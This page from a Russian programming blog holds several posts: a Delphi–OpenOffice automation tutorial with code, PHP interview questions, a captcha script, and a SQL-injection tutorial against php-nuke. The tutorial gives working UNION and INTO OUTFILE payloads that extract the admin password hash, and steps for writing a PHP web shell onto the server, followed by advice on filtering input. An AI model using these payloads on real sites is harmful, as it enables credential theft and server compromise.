OpenOffice + Delphi

История
OpenOffice.org ведет свое происхождение от офисного пакета StarOffice, разработанного немецкой фирмой StarDivision в середине 90-х годов. Осенью 1999 года корпорация Sun купила StarDivision. В июне 2000 года, уже под торговой маркой SUN вышел StarOffice 5.2 под MS Windows, Linux и Solaris. 13 октября 2000 года были открыты исходные тексты StarOffice (за исключение кода некоторых модулей, разработанных третьими фирмами), и этот день официально считается днем рождения OpenOffice.org.

В настоящее время над кодом OpenOffice.org работают как добровольцы со всего света, так и программисты корпорации SUN. Sun Microsystems, Inc в основном и финансирует деятельность проекта OpenOffice.org.

В настоящее время из одного исходного кода, разрабатываемого сообществом OpenOffice.org выпускаются два продукта: StarOffice, в который добавляются компоненты под проприетарной лицензией и свободный OpenOffice.org. В настоящее время в OpenOffice.org большинство проприетарных компонентов, присутствующих в StarOffice заменено их свободными аналогами.

Подробнее о различиях между этими продуктами вы можете прочесть на англоязычной странице FAQ.

По материалам "http://ru.openoffice.org/background.html"

Вводная
Все более широкие массы компьютерной общественности обращают свой взор на офисный пакет OpenOffice.org. Вслед, за обыкновенными пользователями пришел черед и программистов, волею судеб вынужденных работать с новым детищем. Коллег наших можно разделить на три условных группы: первая и самая многочисленная - люди, писавшие под Visual Basic; вторая - программисты Java, и третья, инструментом представителей которой являются Delphi, C Builder, VC++ etc.

Почему именно такая градация? С первыми все очевидно. офисный пакет от Майкрософт в качестве языка использует VBA, а переход на новый продукт редко когда начинается с нуля. То есть главной задачей этой группы является адаптация имеющихся кодов под OpenOffice.org. Со второй группой, тоже все более-менее понятно -- компонентная модель OpenOffice.org заточена под Java. Более того, одним из трех приоритетных языков, поддерживаемых разработчиками, является Java. В состав приоритетных, кроме Java входят C++ и StarBasic (аналог VBA от Майкрософта). Третья группа перспективной разработчиками не считается (далее речь будет идти сугубо о Delphi). А жаль, потому как использование СОМ-связки с офисными пакетами один из очень расспростаненных приемов. Достаточно вспомнить хотя бы составление отчетов, с целью их дальнейшей модификации или передачи третьим лицам, а про использование встроенной проверки орфографии я вообще молчу.

Обидно другое. Я давно пользуюсь девизом: "Документация как секс -- лучше любая, чем никакой". Но извините, меня очень огорчил тот факт, что в составе 94-мегабайтного набора инструментов разработчика (OpenOffice.org Software Development Kit), который мне пришлось выкачать (правда в архиве это в 2 раза меньше. :)) есть единственный рабочий пример связки OpenOffice.org-Delphi и к тому же не рабочий. Этого, при всем уважении к разработчикам, я понять не могу. Если уж вы игнорируете среду разработки, то будьте добры, до блеска отдрайте единственный пример. Ну да ладно, это все эмоции. После ручной доработки код из примера заработал. Прямо как в известном анекдоте. Украли "шпиены" чертежи страшного советского самолета (допустим СУ-24 :)) и передали своим техникам. Те собирают -- паровоз получается и хоть ты тресни. И тут главный "шпиен" внизу страницы маленькую сносочку обнаруживает: "После сборки тщательно обработать напильником".

Слюни в жилетку пускать рано. В том же SDK есть масса рабочих примеров на Visual Basic, Java и C++. Так что скажем слова благодарности разработчикам, что не дают они расслабиться нашему пытливому уму. Однако, уважаемый читатель, если автоматизацию офиса ты собираешься проводить только с помощью Delphi и не более, хочу предостеречь тебя от бессмысленной траты трафика. Отдельные статьи и примеры кода имеются в интернете.

Компонентная модель OpenOffice.org
В дальнейшем я буду использовать названия OpenOffice.org (OO) и StarOffice.org (SO) в одном контексте, потому как что применимо для одного применимо и для другого.

Работа StarOffice.org базируется на компонентной модели, именуемой Универсальные Сетевые Объекты (Universal Network Objects, UNO).

UNO предоставляет механизм для кроссплафторменного и языконезависимого программирования. Как я уже отмечал, основное внимание уделяется аспектам работы с Java, C++ и StarOffice Basic. Оно и понятно, ведь во главу угла ставиться кроссплатформенность. Более того, пальму первенства держат даже такие экзотические языки как JavaScript и PHP. Но странно как-то, по крайней мере для меня, будет выглядеть эта связка.

Начиная с версии Старофис 5.2, автоматизация OLE является составной частью пакета. Однако, прямой доступ к этим компонентам (UNO) из Delphi получить не удастся. Для этого используется механизм "моста автоматизации" (Automation Bridge), который объединяет интерфейс автоматизации OLE с языковыми связками StarOffice API.

UNO предоставляет единственный интерфейс для работы со своими компонентами -- Сервис Менеджер (Service Manager). Сервис Менеджер по сути является фабрикой классов, следовательно возвращает интерфейс IClassFactory. С точки зрения концепции модели UNO иного пути для создания объектов автоматизации StarOffice.org как через Сервис Менеджер нету.

UNO изначально не создавался с поддержкой автоматизации и COM, а был ориентирован на работу со скриптовыми языками.

По материалам "http://developers.sun.com/techtopics/desktop/reference/techart/staroffice_sdk.html"

Сервис Менеджер
Как уже отмечалось, СМ (Сервис Менеджер) -- это стартовая точка для всех клиентов автоматизации. Раз СМ является COM-компонентом, то он имеет CLSID и программный идентификатор, а именно 'com.sun.star.ServiceManager'.

Исполняемый код СМ содержится в файле soffice.exe. Этот исполняемый файл держит все СОМ подключения и открытые документы, будь-то текстовые либо электронные таблицы. Даже в случае насильственного повторного запуска, запущенный процесс берет на себя всю заботу об открытии документов, предоставлении интерфейсов OLE автоматизации, а копию закрывает. Поэтому в памяти может находится только один такой процесс. А это значит, что для связки OO-Delphi нету понятия подключения к существующему СОМ объекту, то есть GetActiveObject имеет тот результат что и вызов CreateOleObject. Поэтому, дабы избежать ненужной проверки на существование запущенного процесса, будем использовать второй вариант, что неизбежно приведет нас к нужному результату.

СМ, так же как и объекты, которые он создает, и объекты, предоставляемые им же косвенно через результаты возврата функций, является типичным объектом автоматизации. Имеется возможность удаленного доступа через механизм DCOM.

Сервис Менеджер базируется на Сервис Менеджере UNO и ничем не отличается от обычных компонентов UNO. "Как же так?" - спросите вы, "Ведь было сказано, что UNO не поддерживает СОМ". И будете совершенно правы, за конвертацию Сервис Менеджера отвечает сервис 'com.sun.star.bridge.OleBridgeSupplier2'.

Результирующий объект автоматизации содержит в себе объект UNO и транслирует вызовы IDispatch.Invoke в необходимые функции интерфейсов UNO. Возвращаемые после таких вызовов объекты, тоже автоматически конвертируются в правильные СОМ-объекты. Развернутую статью по сервисам конвертации оставлю на потом. Однако замечу, что материал интересен, как минимум, с теоретической точки зрения.

Подытожу. Схема взаемодействия такова: СервисМенеджер - ОО Десктоп - Документы (открытые либо созданные).

По мат. " http://api.openoffice.org/docs/DevelopersGuide/ProfUNO/ProfUNO.htm#1+4+4+Automation+Bridge"

Практика
Сердцем примера является модуль SampleCode, в котором и происходит взаемодействие с сервером автоматизации. Рассмотрим исходный код. Важные места я буду обрамлять комментариями. Задачу клиента разделим на такие составляющие: связь с сервером, создание нового документа, открытие существующего документа в формате html, добавление в документ строки текста и, наконец, сохранение документа в формате Microsoft Word *.doc. В итоге у нас должен получиться своего рода конвертер из гипертекста в файлы Ворда. Приступим. Не забудьте скачать пример к статье (3.6Kb).

unit SampleCode;

interface

uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, 
   Forms, Dialogs, StdCtrls, ComObj, Variants;

   type
   TOpenOffice = class
      function Connect: boolean;
      procedure Disconnect;
      function CreateDocument: boolean;
      function OpenDocument(const aFileUrl:string): boolean;
      procedure SaveDocument(const aFileUrl:string);
      procedure InsertText(const aText: String);
   private
      StarOffice: Variant;
      Document: Variant;
      function MakePropertyValue(PropName, PropValue:string):variant;
   end;

implementation

{Метод Connect создает подключение к серверу автоматизации. Как 
упоминалось выше, в нашем случае понятия "подключиться к существующему" и "создать 
подключение" не имеют принципиальной разницы. Поэтому пользуемся функцией 
CreateOleObject.}

function TOpenOffice.Connect: boolean;
begin
   if VarIsEmpty(StarOffice) then
      StarOffice := CreateOleObject('com.sun.star.ServiceManager');
   Result := not (VarIsEmpty(StarOffice) or VarIsNull(StarOffice));
end;



procedure TOpenOffice.Disconnect;
begin
   StarOffice := Unassigned;
end;

{Метод CreateDocument создает новый текстовый документ. Как видите Сервис 
Менеджер, который доступен через переменную StarOffice, создает и возвращет 
экземпляр DeskTop. Рассмотрим пристальнее метод LoadComponentFromURL. Первым 
параметром передается имя файла, в виде URL. На самом деле строка 
'private:factory/swriter' действительно указывает на существующий файл. Это файл 
шаблона, по которому создается пустой текстовый документ.
 Следующий параметр ('_blank') указывает на то, что 
документ должен открыться в новом окне.
 Третьим параметром идут флаги вызова, пока что всегда 
равны нулю. И последним параметром, идут опции открытия документов. На самом деле, 
это массив пар название опции - значение опции. В данном случае, дополнительных 
опций мы не используем, поэтому передаем пустой массив. Передачу опций более 
детально рассмотрим ниже. }

function TOpenOffice.CreateDocument: boolean;
var
   StarDesktop: Variant;
begin
   StarDesktop := StarOffice.createInstance('com.sun.star.frame.Desktop');
   Document := StarDesktop.LoadComponentFromURL(
                  'private:factory/swriter', '_blank', 0,
                  VarArrayCreate([0, -1], varVariant));
   Result := not (VarIsEmpty(Document) or VarIsNull(Document));
end;

function TOpenOffice.MakePropertyValue(PropName, PropValue:string):variant;
var Struct: variant;
begin
    Struct := StarOffice.Bridge_GetStruct('com.sun.star.beans.PropertyValue');
    Struct.Name := PropName;
    Struct.Value := PropValue;
    Result := Struct;
end;

{Рассмотрим метод OpenDocument, который открывает существующий 
документ. Отличия его от метода CreateDocument невелики, я бы даже сказал ничтожны. 
Так как тут мы будем использовать вызов метода LoadComponentFromURL с 
дополнительными опциями, создадим заранее массив необходимого размера, в данном 
случае на одну ячейку.
 За создание пар опция-значение, отвечает сам ОпенОфис. 
Поэтому эту участок работы оформлен в отдельную функцию MakePropertyValue. Отличия 
на этом закончились.}

function TOpenOffice.OpenDocument(const aFileUrl:string): boolean;
var
   StarDesktop: Variant;
   VariantArr: variant;
begin
   StarDesktop := StarOffice.CreateInstance('com.sun.star.frame.Desktop');
   VariantArr := VarArrayCreate([0, 0], varVariant);
   VariantArr[0] := MakePropertyValue('FilterName', 'HTML (StarWriter)');
   Document := StarDesktop.LoadComponentFromURL(
                  aFileUrl, '_blank', 0,
                  VariantArr);
   Result := not (VarIsEmpty(Document) or VarIsNull(Document));
end;

{Я думаю, сохранение документа в определенный формат не 
вызовет у вас трудностей. Аналогии LoadComponentFromURL с напрашиваются сами собой. }

procedure TOpenOffice.SaveDocument(const aFileUrl:string);
var
   StarDesktop: Variant;
   VariantArr: variant;
begin
   StarDesktop := StarOffice.createInstance('com.sun.star.frame.Desktop');
   VariantArr := VarArrayCreate([0, 0], varVariant);
   VariantArr[0] := MakePropertyValue('FilterName', 'MS Word 97');
//VariantArr[0] := MakePropertyValue('FilterName', 'Rich Text Format'); если кому-то понадобится ;-)
   Document.StoreToURL(aFileUrl, VariantArr);
end;

{Метод InsertText добавляет строку текста в активный документ. 
Комментарии на аглийском мои личные. Оставлю как есть, потому что не могу красиво и 
лаконично перевести. :)}

procedure TOpenOffice.InsertText(const aText: String);
var
   oCursor: Variant;
   oText: Variant;
begin
//get document text object
   oText := Document.GetText;
//create cursor
   oCursor := oText.CreateTextCursor;
//set some text properties
   oCursor.SetPropertyValue('CharColor', 255);
   oCursor.SetPropertyValue('CharShadowed', True);
//insert string
   oText.InsertString(oCursor, aText, false);
//insert line break character
   oText.InsertControlCharacter(oCursor, 0, false);
end;

end.

Заключение
Главная цель этой статьи не в написании навороченного клиента, а в том, чтобы показать программистам, обделенным вниманием разработчиков, что у них под боком лежит инструмент не менее мощный (а с учетом того, что в состав ОпенОфиса входит векторный редактор), а то и более гибкий и удобный, чем его собрат Microsoft Office.

К сожалению, как я уже писал, документации по связке ОО+Delphi практически нету. Максимум, это примеры сродни этому. Однако, есть много примеров для других языков. И если вам не чужды понятия мозговой деятельности, милости прошу. Начать рекомендую с форума разработчиков. Особо следует обратить внимание на раздел с примерами.

На сегодня все, надеюсь на продолжение. Все в ваших руках - пишите отзывы.

Добавлено: 25 Августа 2013 02:32:54 Добавил: Андрей Ковальчук

Вопросы на собеседовании по PHP

Наткнулся на хорошие вопросы на собеседовании. Данные задания были разработаны для облегчения проверки знаний соискателей. Задания разработаны таким образом, что Вы можете их выполнить в любое удобное для Вас время и в обстановке, которую считаете оптимальной.

Теперь подробнее о заданиях. Задания разделены на 3 категории. Категория B позволяет оценить базовые знания, насколько Вы, знаете базовые основы языка, основы программирования и насколько хорошо владеете программами необходимыми для разработки продуктов. В категории S расположены вопросы, позволяющие оценить глубину Ваших знаний в той или иной части языка программирования, а так же узнать о знании смежных технологий. Ну и последняя категория, это категория Q в ней собранны вопросы по разработке масштабируемых высоконагруженных систем.
Категория B

Задание B1:
Опишите плюсы PHP версии 5 по сравнению с версией 4.Какие новые возможности Вы считаете бесполезными?

Задание B2:
Опишите ситуаци, когда функциональное программирование лучше объектно-ориентированного.

Задание B3:
Расскажите о плюсах использования паттерна MVC. В каких случаях не стоит его использовать? Какие в нем минусы?

Задание B4:
Расскажите об используемых Вами фреймворках (программных каркасах). В чем их плюсы? Для каких задач лучше использовать существующий фреймворк, а когда лучше все написать самому?

Задание B5:
В чем плюсы и минусы шаблонизации? С какими трудностями Вы сталкивались в работе с шаблонами?

Задание B6:
В чем плюсы использования систем контроля версий? Какие сложности при работе с ним у Вас возникали?

Задание B7:
При работе в команде, каким бы местам в разработке, Вы бы удилили большее внимание? Какие бы соглашения (Coding Conventions) Вам бы помогли в командной разработке?

Задание B8:
Использование баг-трекеров. Какими баг-трекерами Вы пользовались? В чем плюсы использования?
Категория S

Задание S1:
Расскажите, в каких случаях лучше использовать Apache, в каких nginx, а в каких lighttpd сервера.

Задание S2:
Расскажите о использовании Memcached. Какие сложности возникают при его использования? Что бы Вы хотели в нем улучшить?

Задание S3:
В каких случаях Вы бы использовали MyISAM таблицы, а в каких InnoDB, кроме случаев с транзакциями?

Задание S4:
Есть 3 таблицы InnoDB, в двух из них по 200,000 записей (строки примерно по 100 символов) и одна с 20 записями. Как лучше получить взаимосвязанные данные - используя один JOIN или несколько SELECT запросов? Объясните ваше решение.

Задание S5:
Напишите SQL Stored Procedure для MySQL 5.1 базы данных, для заполнения базы тестовыми данными:
id:INT
name:VARCHAR (blabla + id)
desc:LONGTEXT (Is desc + name)
uid:INT (рандомное значение)

Задание S6:
Нужно разарботать систему организовывающаую работу между почтовым сервером и front-end приложением (Flash AS3 Application). Опишите следующие моменты:
Какой формат обмена данными, Вы бы использовали, для минимального трафико-обмена?
В чем плюсы выбранного Вами формата?
Категория Q

Задание Q1:
Есть проект, суть которого в продаже автомобилей. Требования у заказчиков такие: версионность данных(как Wikipedia), возможность расширения моделей данных (можно добавить к описанию автомобиля любое свойство, например наличие модинга). Опишите следующие моменты:
Какую базу данных лучше всего использовать?
Как реализовать версионность в данном случае?
Как реализовать возможность раcширения моделей?
Какова будет конечная структура базы данных?
Какие сложности могут возникнуть в реализации проекта?

Задание Q2:
Планируется проект, расчитанный на большое количество информации, для этого изначально планируется использовать более 6 серверов с MySQL базами данных (есть возможность докупить любое количество серверов). Опишите следующие моменты:
Как распределить нагрузку между всеми серверами?
Как реализовать максимальную стабильность работы серверов?
Как можно снизить загрузку серверов?
Оптимально ли использовать MySQL? Каковы плюсы и минусы использования?

Задание Q3:
От одного из заказчиков поступает просьба улучшить их проект. Проблема в проекте в том, что он не справляется с нагрузкой. Информация о проекте: сервис блогинга идентичный LiveJournal, 2 сервера (на одном PHP, на другом MySQL ), PHP 5.1, MySQL 5, Apache 2, RedHat Enterprise Linux. По умолчанию считаем, что архитектура проекта правильная, код может частично модифицироваться, улучшения дописываются к существующему коду. Опишите следующие моменты:
Что нужно изменить/добавить в сервисе, для стабильной работы?
Оптимальная ли конфигурация? Нужно ли что-либо в ней изменять?
Приведите примеры улучшений при малом финансировании ( до 500,000 руб.) и при большом (более 50,000,000 руб.).

Задание Q4:
Поступило предложение от заказчика, на создание аналога сервиса микроблогинга Twitter. На Вас ложится задача разработки первой версии архитектуры проекта. По умолчанию считаем, что заказчик готов предоставить неограниченные средства. Опишите следующие моменты:
Какую конфигурацию программной части Вы бы составили для проекта (Операционная система, языки программирования, база данных, фреймворки или сторонние разработки)? Опишите в чем плюсы вашей конфигурации.
Какие слабые стороны возможны у данного проекта? Какие решения Вы можете предложить?
Опишите схему внутренней работы проекта.

Добавлено: 23 Августа 2013 05:10:46 Добавил: Андрей Ковальчук

Использование команды UNION

Итак команда union используется для обьединения вывода двух или более запросов select.
Особенности команды которые придется учитывать:
Когда два (или более) запроса подвергаются объединению, их столбцы вывода должны быть совместимы для объединения. Это означает, что каждый запрос должен указывать одинаковое количество столбцов и в том же порядке и каждый должен иметь тип, совместимый с каждым.
Также данная возможность появилать только в mysql версии 4.0 т.е. на более ранних версиях БД работать не будет.

Вид команды таков:

select a1, a2, a3 from table1 union select b1, b2, b3 from table2; 

Где a1 и b1, a2 и b2, a3 и b3 должны быть одинакового типа.

Например:
select text11, text12, int11 from t1 union select text21, text22, int22 from t2; 

Думаю наиболее удобно будет рассмотреть работу с данной командой на конкретном примере. Помучить предлагаю php-nuke версии 7.0 final. Советую скачать и поставить данный движек. Итак устанавливаем и настраиваем нюку. Запускаем mysql с ведением логов и приступаем.


================================================
---/// sql injection на примере php-nuke
================================================

Итак разбираться будем с модулем news

http://127.0.0.1/nuke7/modules.php?name=news&new_topic=1

Вот такой запрос выводит первый топик на движке. Попробуем поставить кавычку к значению new_topic, соответственно теперь запрос становится таким:

http://127.0.0.1/nuke7/modules.php?name=ne...ew_topic=1'

Отдаем в браузере запрос и смотрим логи mysql:
...
10 query select topictext from nuke_topics where topicid='1''
^!!!

10 query select sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm,
score, ratings from nuke_stories where topic='1'' order by sid desc limit 10
^!!!
...

Вот тут наша ковычка себя и проявила =)
Видите: where topicid='1''

Рассмотрим первый запрос:

select topictext from nuke_topics where topicid='1''
Выборка topictext из таблицы nuke_topics где topicid=1'
Теперь посмотрим тип topictext:

+-------------------------+
| topictext | varchar(40) |
+-------------------------+

Отлично теперь попробуем использовать команду union:
Отдаем в браузере запрос:

modules.php?name=news&new_topic=999' union select pwd from nuke_authors/*

Отлично =) Вместо названия раздела мы видим хеш пароля админа. Что же произошло.
Опять смотрим логи mysql:
14 query select topictext from nuke_topics where topicid='999' union select pwd from nuke_authors/*' 

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

вот он наш запрос

Вот оно. Мы делаем выборку из nuke_topics где topicid='999' и данный запрос естественно ничего не возвращает т.к. такого топика у нас нет и делаем выборку pwd из таблицы nuke_authors и данный запрос возвращает хеш пароля первого пользователя который и подставляется в название раздела. Заметьте что если мы укажем существующий номер топика то результата мы не получим т.к. будет подставлено название этого топика а не хеш. Поэтому мы и используем номер 999. Вот первая уязвимость =)

Давайте рассмотрим второй запрос: ( запрос разбит на несколько строк для удобства)
select sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
from nuke_stories
where topic='1'' <-- Вот тут мы можем вставить свой sql-код
order by sid desc limit 10

Посмотрим какие типы данных у нас в таблице nuke_stories:

+-----------+--------------+
| sid | int(11) |
+-----------+--------------+
| catid | int(11) |
+-----------+--------------+
| aid | varchar(30) |
+-----------+--------------+
| title | varchar(80) |
+-----------+--------------+
| time | datetime |
+-----------+--------------+
| hometext | text |
+-----------+--------------+
| bodytext | text |
+-----------+--------------+
| comments | int(11) |
+-----------+--------------+
| counter | mediumint(8) |
+-----------+--------------+
| topic | int(3) |
+-----------+--------------+
| informant | varchar(20) |
+-----------+--------------+
| notes | text |
+-----------+--------------+
| acomm | int(1) |
+-----------+--------------+
| score | int(10) |
+-----------+--------------+
| ratings | int(10) |
+-----------+--------------+

Теперь также просмотрим таблицу nuke_authors на типы записей и составим запрос с union таким образом чтобы типы из таблицы nuke_stories совпадали с типами из nuke_authors и запрос примет вид:

modules.php?name=news&new_topic=999' union select counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter from nuke_authors /*

Отдаем запрос в браузере и видим топик с содержанием хеша пароля =) Тут уже не обязательно указывать несуществующий топик т.к. все работает и с топиком существующим в базе.

Если посмотреть логи БД то можно увидеть что был отдан вот такой запрос к базе данных: (запрос разбит на 4 блока для большего удобства)
select sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
from nuke_stories
where topic='1'

union

select counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter
from nuke_authors

/*
' order by sid desc limit 10

Как вы можете видеть в обоих запросах количество и типы столбцев совпадают.
Запрос специально разбит на 4 блока:
1 блок - это первый запрос select выбирающий из таблицы nuke_stories
2 блок - команда обьединения запросов union
3 блок - второй запрос select который выбирает хеш пароля и счетчик из таблицы nuke_authors
4 блок - все что идет после "/*" будет рассматриваться как комментарий

================================================
---/// Вывод данных в файл
================================================

К слову сказать, в инете полно практически одинаковых статей про sql-injection и все они рассказывают про атаки данного типа при использовании ms sql в качестве сервера базы данных. Конечно сервак от мелкомягких дает поистинне потрясающие возможности для взлома всего сервера за счет возможностей разделения запросов в строке и прочих фишек но это тема другой статьи а у нас на повестке mysql в котором все не так просто, но это совсем не плохо, это хорошо т.к. с mysql возится сложнее а значит интереснее =) А к чему я это сказал? Да просто в тех статьях описывается взлом при авторизации и авторизация там происходит примерно таким запросом:
select * from users where login='blabla' and password='blabla'; 

Изврат! Не правда-ли? Абсолютно убогий способ работы с базой данных. Зачем спрашивается выбирать все данные из таблицы? Бррр что-то меня вообще не туда унесло = Мы лучше рассмотрим авторизацию в php-nuke 6.9. в котором процесс авторизации сделан более грамотно и красиво. Обратите внимание на версию нюки! Дело в том что в версии 7.0 не удастся через форму внедрить код с помощью кавычки т.к. там эта бага прикрыта. В версии 7.0 есть возможность внедрения кода в этом модуле посредством cookie но мы пока что не будем трогать cookie т.к. на эту тему статья будет чуть позднее а рассмотрим внедрение кода просто через форму авторизации. Для этого и пришлось использовать более раннюю версию. Как пример.
Запускаем http://127.0.0.1/phpnuke69/admin.php и видим окошко для ввода логина и пароля. Ну вы наверно уже догадались что мы будем делать? Конечно вписываем в качестве логина admin' (не забудьте про кавычку) и 123 в кач-ве пароля. Хммм... Не пускает =) Ну чтож всякое бывает =) Наверно потому что логин и пароль в базе другие совсем =)))
Чтож опять лезем смотреть логи mysql:
 query select pwd, admlanguage from nuke_authors where aid='admin'' 

^ - вот она наша родная кавычка =)

Стоп! Вы уже побежали вставлять union и select? Рано. Дело в том что в данном модуле не происходит никакого вывода полученных данных из БД. Естественно раз нет вывода то и вывести полученный хеш нам некуда. Что же делать. К счастью в mysql есть замечательная опция сохранения выбранных из таблицы данных в файл. Производится данный финт ушами следующим образом:
select * from table into outfile 'путь_к_файлу/файл';

Попробуем сохранить хеш пароля админа в файле. Форма ввода не позволяет ввести длинный логин поэтому придется передавать данные через строку браузера:

http://127.0.0.1/phpnuke69/admin.php?op=lo...&aid=admin' into outfile 'pwd.txt

После запроса данной строки в БД исполняется:
query select pwd, admlanguage from nuke_authors where aid='admin' into outfile 'pwd.txt' 

И хеш пароля пользователя "admin" оказывается записан в файл pwd.txt. Но вся проблемма в том что файл создается не в корне www-сервера а в каталоге базы данных. Для создания файла в каталоге доступном через web необходимо указывать полный путь:

/phpnuke/admin.php?op=login&pwd=123&aid=admin' into outfile '././././www/www1/phpnuke69/pwd.txt

И теперь уже:

http://127.0.0.1/phpnuke69/pwd.txt

Выдаст нам хеш админа.
Конечно необходимо учитывать права доступа и не факт что вы сможете записать файл в нужное место но это сейчас не важно. Главное что мы смогли сформировать нужный запрос и создать файл.

================================================
---/// Получение http-шелла
================================================

Конечно базы данных это хорошо, это интересно и познавательно, но хочется чего то большего =) Их есть у меня =)
Как мы уже разобрались файлы мы создавать можем. А ведь в файл можно записать любую инфу из базы данных, почему бы не воспользоваться этим и не создать себе маленький такой http-шелл посредством создания php файла с незатейливым и наверно всем знакомым содержанием:

Итак воспользовавшись одним из описанных выше методов вам удалось все-таки получить хеш пароля админа и вы благополучно залогинились как админ движка, расшифровав пароль, либо вставив его в кукис (тема про куки будет более подробно рассмотрена в следующей статье) Теперь вам необходимо каким-либо образом вставить php-код в одно из значений в базе данных а потом вывести его в файл. Вот способ которым воспользовался я:

Логинимся под админом. В меню администрирования входим в раздел topics. Создаем новый топик.
В поле topic name пишем passthru
в поле topic text пишем:

Теперь вспомним уязвимость описанную выше в этой статье, а именно:

modules.php?name=news&new_topic=999' union select pwd from nuke_authors/*
select topictext from nuke_topics where topicid='999' union select pwd from nuke_authors/*'

Теперь нам не надо получать хеш пароля, а надо сохранить запись из столбца "topictext"

http://127.0.0.1/phpnuke/modules.php?name=...ew_topic=2' into outfile 'shell.php' /*

где 2 - номер нового топика , shell.php - файл который будет создан

Не забудьте прописать путь к файлу.
После выполнения данного запроса будет создан файл shell.php содержащий нужный
нам пхп-код.


================================================
---/// Методы защиты
================================================

Если вы все-таки прочитали статью то наверно уже поняли что единственно верной защитой является фильтрация всех данных принимаемых от пользователя. Наилучшим решением будет разрешить использование лишь букв и цифр. В случае если принимаемое значение должно быть цифрой, проверяейте его перед помещением в sql запрос.
Не стоит надеятся на фильтрацию лишь одной кавычки т.к. во-первых атакующий может использовать другие символы для если не внедрения кода то хотя бы для получения дополнительной информации (например о пути к сайту) из сообщений о ошибках. И во-вторых если скрипт отфильтровывает какой-либо символ, то его можно заменить конструкцией +char(0xКОД_СИМВОЛА)+.
Также обращу внимание что фильтровать надо все данные пришедшие от пользователя в запросах, в куках, в общем вообще все!


================================================
---/// Заключение
================================================

Ну вот и все. Я постарался рассмотреть наиболее информативные примеры атак типа sql-injection. Надеюсь теперь вы сможете избежать ошибок при кодинге скриптов работающих с базами данных. Удачи.
p.s. Вся информация в данной статье служит исключительно в образовательных целях. Эта статья всего лишь попытка помочь авторам скриптов и указать на возможные ошибки при работе с базами данных.Так сказать, врага нужно знать в лицо!

Добавлено: 21 Августа 2013 11:05:00 Добавил: Андрей Ковальчук

Скрипт капчи

Капча это обычное изображение, на котором находится произвольный текст. Рядом с ним располагается текстовое поле, куда пользователь-человек должен ввести изображенный текст.
О капче.
Сегодня, довольно часто бывает, что сайт атакуют «спам-боты». Они постоянно регистрируются или оставляют массу ненужных Вам сообщений, что в итоге может привеcти к перегрузке баз данных или даже сбою работы сайта.

Для того чтобы решить проблему ботов, придумана специальная защита – «капча» (или «captcha»).
Обычный бот, производя распознавание капчи к правильному ответу не придет, так как подобную картинку сканировать не сможет, а, следовательно, в большинстве случаев будет не возможен автоматический ввод капчи и бот не зарегистрируется и не оставит сообщение.
Ввод капчи осуществляется пользователем, после чего скрипт сравнивает этот текст с сохраненным оригиналом, если все верно, то запрос принимается, иначе выводится соответствующее сообщение.
Итак, для того чтобы оградить свой сайт от большинства простых спам атак, то такая капча, вам очень пригодиться. По сути, это автоматическая капча, изображение которой генерируется специальным скриптом и реализация его более чем проста. Ниже приведем урок по ее созданию, также вы сможете ее скачать, капча с исходным кодом находится тут же.
Задача:
Скрипт капчи - создать программу для капчи с прозрачным фоном, размером 120 на 20 и добавить ее на форму отправки запроса.
Решение:

Пункт 1.
Для примера нам понадобится файл шрифтов comic.ttf, его можно найти в каталоге со шрифтами Вашей операционной системе или скачать из интернета. Сохраняем его в директорию «font» (в каталоге с сайтом).
Далее создаем два файла:

- captcha.php
- index.php

Пункт 2.
Открываем файл captcha.php и вводим следующий код:

Листинг № 1 - Скрипт капчи

<?php 

// Задаем список символов, используемых в капче 
$capletters = 'ABCDEFGKIJKLMNOPQRSTUVWXYZ123456789';  
// Длина капчи 7 знаков 
$captlen = 7;  

// Устанавливаем размеры изображения 
$capwidth = 120; $capheight = 20;  

// Подключаем шрифт 
$capfont = 'font/comic.ttf';  

 // Размер нашего текста 
$capfontsize = 14; 

// Переопределяем HTTP заголовок, чтобы контент нашего  
// скрипта представлял собой не текст, а изображение 
header('Content-type: image/png');  

// Формируется изображение с указанными ранее размерами 
$capim = imagecreatetruecolor($capwidth, $capheight);  

// Устанавливаем необходимость применения альфа канала (прозрачности) 
imagesavealpha($capim, true);  

// Устанавливаем цвет фона, в нашем случае - прозрачный 
$capbg = imagecolorallocatealpha($capim, 0, 0, 0, 127); 

// Устанавливаем цвет фона изображения 
imagefill($capim, 0, 0, $capbg);  

// Задаем начальное значение капчи 
$capcha = ''; 

// Запускаем цикл заполнение изображения 
for ($i = 0; $i < $captlen; $i++){ 

// Из нашего списка берем «рендомный» символ и добавляем в капчу 
$capcha .= $capletters[rand(0, strlen($capletters)-1) ];  

// Вычисление положения символа по X оси 
$x = ($capwidth - 20) / $captlen * $i + 10; 

// Добавим «рендомности» в это положение. 
$x = rand($x, $x+5);  

// Находим положение по Y оси 
$y = $capheight - ( ($capheight - $capfontsize) / 2 );  

// Укажем случайный цвет для символа. 
$capcolor = imagecolorallocate($capim, rand(0, 100), rand(0, 100), rand(0, 100) );  

// Наклон для символа 
$capangle = rand(-25, 25);  

// Рисуем созданный символ, применяя все описанные параметры 
imagettftext($capim, $capfontsize, $capangle, $x, $y, $capcolor, $capfont, $capcha[$i]); 

} // Закрываем цикл 

// Создаем переменную, куда будет сохранена капча,  
// с ней будет сравниваться введенный пользователем текст 
session_start(); 

$_SESSION['capcha'] = $capcha; 

imagepng($capim); // Выводим картинку. 

imagedestroy($capim); // Очищаем память. 

?>

Сохраняем файл captcha.php.

Пункт 3.
Открываем файл index.php и добавляем код. Это сама страница в которой будет вводиться капча.

Листинг № 2 - Скрипт файла index.php
<?php 
// Проверяем если капча была введена 
if ( isset($_POST['capcha']) ) 
{ 
$code = $_POST['capcha']; // Получаем переданную капчу. 
session_start(); 

// Сравниваем введенную капчу с сохраненной в переменной в сессии 
if(isset($_SESSION['capcha']) && strtoupper($_SESSION['capcha']) == strtoupper($code))  
{echo 'Верно!';} 
else 
{echo 'Не верно!';} 

// Удаляем капчу из сессии 
unset($_SESSION['capcha']);  

exit(); 
} 
?>

Пункт 4.
Ниже вводим HTML код:

Листинг № 3 - Форма ввода капчи. Это тот же файл index.php
